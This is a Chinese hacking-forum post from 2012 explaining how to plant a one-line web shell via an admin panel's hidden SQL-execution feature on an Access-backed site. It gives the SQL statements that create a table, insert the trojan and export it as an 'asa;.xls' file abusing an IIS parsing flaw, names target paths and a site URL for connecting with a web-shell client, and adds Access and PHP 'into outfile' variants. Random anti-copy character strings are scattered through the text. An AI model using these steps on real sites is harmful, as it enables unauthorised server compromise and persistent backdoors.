找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2179|回复: 0
打印 上一主题 下一主题

ACCESS执行SQL命令导出一句话SHELL

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:53:58 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
好不容易进了后台,发现啥上传啊。备份啊多木有。
8 H7 K$ d$ M0 R+ q. U$ lwebshell一直拿不到。后来翻了一下源码。有一个执行SQL命令的' C1 B% K  l; O. B, V6 T, d4 B
文件。可后台没显示这功能。直接填上文件名字,执行命令的选项出来了,
2 u; `4 S' D8 z5 z. J! ^然后就试用了下面的命令导出一句话木马。没想到成功了。命令方法如下:
" e- h; U0 ?  ]5 m- y2 d1 r2 P9 ^- a* u1.create table cmd (a varchar(50))8 [2 W6 u* }' i
2.insert into cmd (a) values (‘‘)
6 Z' s+ a4 `) D0 W+ @: P3.select * into [a] in ‘D:\wwwroot\www.koohik.com\hacker.asa;.xls’ ‘excel 4.0;’ from cmd
# H0 f& G2 \5 q& t5 \0 n(把表cmd的内容导出为物理路径的一个EXCEL文件)5 f: I5 R7 L+ a5 n
4.drop table cmd
. D" f. j+ A( |  ^8 }5 I利用IIS的BUG成功拿到了WEBSHELL。7 B* C9 J3 ]2 I7 D2 `* C0 R1 R
, l( A5 p& g% o+ @- D- z
直接菜刀里连接http://www.chouwazi.com/data/xiao.asp;xiao.xls一句话
: R/ [+ o, L6 J$ n2 L/ B# n: l7 N9 B% j1 t  F
  SQL语句意思解释:" b6 a: S7 [* J" R' L) w
  第一句
( x' \5 p/ k5 I5 `3 T1 g  建立一个有一个A字段的表 表名为cmd 字段类型为字符 长度为50
% o# z' ^* j5 i* ~% J2 |( K* G- c6 ^  h6 j8 O) `* [
  第二句7 ]- l" z* e: q' |/ R% d# W
  在表cmd的a字段插入一句话木马3 o+ ], Z( y9 S/ x# |; Q+ X0 i' Z
  第三句2 g/ w* m2 g3 V0 c; m" T  ~
  把cmd表a的内容导出到路径e:\host\chouwazi.com\web\data\的EXCEL文件9 Z8 k% v$ }$ F0 ~& @" l

# p. m+ v$ o- O  第四句
1 Z9 D: ]+ a5 V1 j& \1 m  q  删除建立的cmd表# |: U0 a3 c/ N
) D% K" t" a: O: i/ m
  以下内容为测试:$ i4 P1 z1 s* }2 k) d+ J7 V' @+ Q& ~
  Access利用后台SQL执行命令功能导出WebShell:
3 B  w+ }" [3 E; c9 A  这个更简单:
: D" Q; M- E7 e4 v" `  S  [ol][li]Select 'asp一句话木马' into [vote] in 'd:/chouwazi.com/x.asp;.xls' 'excel 8.0;' from vote [/li][/ol]$ ?' M! @: g0 j/ C
  或者
& U" t$ B! |6 L  q& E/ t# z3 `  [ol][li]Select 'php一句话木马' into outfile 'F:/wwwroot/chouwazi.com/eval.php'; [/li][/ol]
; |% [! Y! B) o: c" F1 W3 n; |
$ E: `/ |4 [4 `7 {  后台有执行SQL语句功能(vote为已知表段)9 N4 [: h5 w+ @& b0 E* v
  希望对大家有所帮助拿shell的又一个思路; J' B0 S8 n/ c+ h
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表